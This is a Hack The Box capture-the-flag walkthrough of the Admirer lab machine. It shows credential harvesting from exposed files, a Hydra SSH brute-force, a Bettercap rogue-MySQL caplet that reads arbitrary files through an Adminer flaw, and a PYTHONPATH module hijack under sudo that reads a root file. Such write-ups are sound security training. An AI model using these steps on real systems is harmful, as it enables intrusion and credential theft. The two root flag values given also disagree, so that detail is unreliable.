Admirer is an easy Hack The Box Linux-based machine released on the 2nd of May 2020 and reachable on the IP address 10.10.10.187.

For whose who don't know it yet, Hack The Box is an online platform where vulnerable machines are deployed in a private network accessible via VPN, and where users need to hack their way into the systems to collect flags as proofs of their success.

HTB Admirer information card

User flag

Let's start with an Nmap scan:

$ nmap -A 10.10.10.187
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-17 09:39 EDT
Nmap scan report for 10.10.10.187
Host is up (0.033s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.72 seconds

The Nmap scan detected 3 TCP services:

  • vsftpd on port 21
  • OpenSSH on port 22
  • Apache on port 80

The FTP service doesn't allow anonymous access, otherwise Nmap would have told us about it (the Nmap script ftp-anon is part of the "default" group of scripts).

Regarding the website, Nmap extracted one hidden folder from /robots.txt named admin-dir for which the following comment can be read in the same file:

This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo

At this point, I initially tried to fuzz the /admin-dir folder with some well-known security wordlists, but without any success. Then, I tried with a few combinations of filenames around the concepts of "contacts" and "credentials", and the result didn't take long to come. I found the two files the above comment was referring to: /admin-dir/contacts.txt and /admin-dir/credentials.txt.

The first one contains a list of email addresses with the first name and role of the persons as comments:

##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb


##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb



#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

And the second one some credentials for different services:

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

With the FTP credentials, I could download these 2 files from vsftpd:

  • html.tar.gz
  • dump.sql

The SQL backup doesn't contain anything interesting but html.tar.gz reveals the website structure:

$ tree html
html
├── assets
│   ├── css
│   │   ├── fontawesome-all.min.css
│   │   ├── images
│   │   │   ├── arrow.svg
│   │   │   ├── close.svg
│   │   │   └── spinner.svg
│   │   ├── main.css
│   │   └── noscript.css
│   ├── js
│   │   ├── breakpoints.min.js
│   │   ├── browser.min.js
│   │   ├── jquery.min.js
│   │   ├── jquery.poptrox.min.js
│   │   ├── main.js
│   │   └── util.js
│   ├── sass
│   │   ├── base
│   │   │   ├── _page.scss
│   │   │   ├── _reset.scss
│   │   │   └── _typography.scss
│   │   ├── components
│   │   │   ├── _actions.scss
│   │   │   ├── _button.scss
│   │   │   ├── _form.scss
│   │   │   ├── _icon.scss
│   │   │   ├── _icons.scss
│   │   │   ├── _list.scss
│   │   │   ├── _panel.scss
│   │   │   ├── _poptrox-popup.scss
│   │   │   └── _table.scss
│   │   ├── layout
│   │   │   ├── _footer.scss
│   │   │   ├── _header.scss
│   │   │   ├── _main.scss
│   │   │   └── _wrapper.scss
│   │   ├── libs
│   │   │   ├── _breakpoints.scss
│   │   │   ├── _functions.scss
│   │   │   ├── _mixins.scss
│   │   │   ├── _vars.scss
│   │   │   └── _vendor.scss
│   │   ├── main.scss
│   │   └── noscript.scss
│   └── webfonts
│       ├── fa-brands-400.eot
│       ├── fa-brands-400.svg
│       ├── fa-brands-400.ttf
│       ├── fa-brands-400.woff
│       ├── fa-brands-400.woff2
│       ├── fa-regular-400.eot
│       ├── fa-regular-400.svg
│       ├── fa-regular-400.ttf
│       ├── fa-regular-400.woff
│       ├── fa-regular-400.woff2
│       ├── fa-solid-900.eot
│       ├── fa-solid-900.svg
│       ├── fa-solid-900.ttf
│       ├── fa-solid-900.woff
│       └── fa-solid-900.woff2
├── images
│   ├── fulls
│   │   ├── arch01.jpg
│   │   ├── arch02.jpg
│   │   ├── art01.jpg
│   │   ├── art02.jpg
│   │   ├── eng01.jpg
│   │   ├── eng02.jpg
│   │   ├── mind01.jpg
│   │   ├── mind02.jpg
│   │   ├── mus01.jpg
│   │   ├── mus02.jpg
│   │   ├── nat01.jpg
│   │   └── nat02.jpg
│   └── thumbs
│       ├── thmb_arch01.jpg
│       ├── thmb_arch02.jpg
│       ├── thmb_art01.jpg
│       ├── thmb_art02.jpg
│       ├── thmb_eng01.jpg
│       ├── thmb_eng02.jpg
│       ├── thmb_mind01.jpg
│       ├── thmb_mind02.jpg
│       ├── thmb_mus01.jpg
│       ├── thmb_mus02.jpg
│       ├── thmb_nat01.jpg
│       └── thmb_nat02.jpg
├── index.php
├── robots.txt
├── utility-scripts
│   ├── admin_tasks.php
│   ├── db_admin.php
│   ├── info.php
│   └── phptest.php
└── w4ld0s_s3cr3t_d1r
    ├── contacts.txt
    └── credentials.txt

15 directories, 82 files

The structure of the backup is almost the same as the one of the live website. Only w4ld0s_s3cr3t_d1r has a different name (admin-dir on the live website).

After inspection, I found a couple of credentials in different files. In index.php (note the non-escaped double quotes in the password):

$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";

In utility-scripts/db_admin.php:

$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";

And in w4ld0s_s3cr3t_d1r/credentials.txt (the same file on the live website doesn't contain the bank account):

[Bank Account]
waldo.11
Ezy]m27}OREc$

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

With all these credentials, I made two wordlists. One with the different usernames:

waldo
waldo.11
admin
ftpuser
w.cooper@admirer.htb
p.wise@admirer.htb
r.nayyar@admirer.htb
a.bialik@admirer.htb
l.galecki@admirer.htb
h.helberg@admirer.htb
b.rauch@admirer.htb
w.cooper
p.wise
r.nayyar
a.bialik
l.galecki
h.helberg
b.rauch

And another one with the different passwords:

Wh3r3_1s_w4ld0?
]F7jLHw:*G>UPrTo}~A
]F7jLHw:*G>UPrTo}~A"d6b
Ezy]m27}OREc$
fgJr6q#S\W:$P
%n?4Wz}R$tTF7
w0rdpr3ss01!

Then, I tried to brute-force the SSH service with Hydra:

$ hydra -L usernames.txt -P passwords.txt -t 4 10.10.10.187 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-07-18 06:22:59
[DATA] max 4 tasks per 1 server, overall 4 tasks, 126 login tries (l:18/p:7), ~32 tries per task
[DATA] attacking ssh://10.10.10.187:22/
[22][ssh] host: 10.10.10.187   login: ftpuser   password: %n?4Wz}R$tTF7
[STATUS] 106.00 tries/min, 106 tries in 00:01h, 20 to do in 00:01h, 4 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-07-18 06:24:11

The FTP credentials worked but the connection is automatically closed before accessing any shell. I also tried the same brute-forcing technique on the FTP service but with no more luck.

I decided to have a closer look at the files in the backup, and I eventually stumbled upon this comment in utility-scripts/db_admin.php:

// TODO: Finish implementing this or find a better open source alternative

After a quick search on the internet for "phpmyadmin equivalents", I found a tool called "Adminer". Bingo!

HTB Admirer Adminer login page

The Adminer dashboard is accessible at http://10.10.10.187/utility-scripts/adminer.php. I tried the different credentials I had collected so far but nothing worked. Then, I checked the known vulnerabilities of Adminer v4.6.2 (the version number is indicated on the login page) and it turned out that there is a way to read arbitrary files on the remote machine.

The attack takes place in 2 steps:

  • Instead of trying to log in the local database of the remote system, an attacker can log in a public RDBMS they own.
  • Then, the attacker can execute LOCAL INFILE SQL queries to read arbitrary files on the remote filesystem.

Bettercap has a module to set up a rogue MySQL server to read files from the victim using the technique previously mentioned. To do so, I created a caplet script with the following content:

# Replace with your HTB VPN IP address.
set mysql.server.address 10.10.14.17
set mysql.server.port 3306
# The file you want to read from the remote machine.
set mysql.server.infile ../index.php
mysql.server on

And to start Bettercap:

# bettercap -caplet adminer-mysql.cap

Before going further, make sure to accept incoming connections from the remote server. If you are on a Linux-based system like myself, add this Netfilter rule with iptables:

# iptables -I INPUT 1 -s 10.10.10.187 -j ACCEPT

To start the attack, I just needed to ask Adminer to connect to my rogue server via the login form. Since I used a fake MySQL server, I could enter any username, password and database name I wanted. It worked well and I could retrieve the actual MySQL credentials used by the PHP application:

$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";

And these credentials are the ones of an actual UNIX account!

$ ssh waldo@10.10.10.187
waldo@10.10.10.187's password:
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ ls
user.txt
waldo@admirer:~$ cat user.txt
19fd5ec7c90993b3fafd9e778cb221ca

Root flag

After a bit of enumeration, I quickly realised that waldo had the permission to run /opt/scripts/admin_tasks.sh on behalf of root:

$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

When running this shell script, the user is prompted to select an admin task to execute:

$ sudo /opt/scripts/admin_tasks.sh

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option:

After inspection of the source code, the only promising element I found for a privilege escalation was the call to the Python script /opt/scripts/backup.py (belonging to root as well):

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

This backup tool imports the make_archive function from the shutil module to generate a gztar archive of the /var/www/html folder:

#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

In Python, the folders where the interpreter looks for the modules you try to import are listed in the PYTHONPATH environment variable, just like PATH in a shell. Given that the SETENV option is set in the sudoers policy module for the execution of /opt/scripts/admin_tasks.sh by waldo, the value of PYTHONPATH can be overwritten, allowing to inject custom versions of the imported modules.

It is exactly the strategy I followed. I created another module named shutil containing my own implementation of make_archive:

def make_archive(x, y, z):
    with open('/root/root.txt', 'r') as f:
        print(f.readline())

I placed this Python script in /tmp/shutil/__init__.py and then:

$ sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh 6
Running backup script in the background, it might take a while...
$ 86875a82845fa2c5f211500a85d78f5c


$

The root flag was cf943b5f4a33dc4b9a438550d232915f.

Wrapping up

It was an easy machine, as expected. It still allowed me to discover the Adminer project and it was also an occasion for me to use the rogue MySQL server of Bettercap.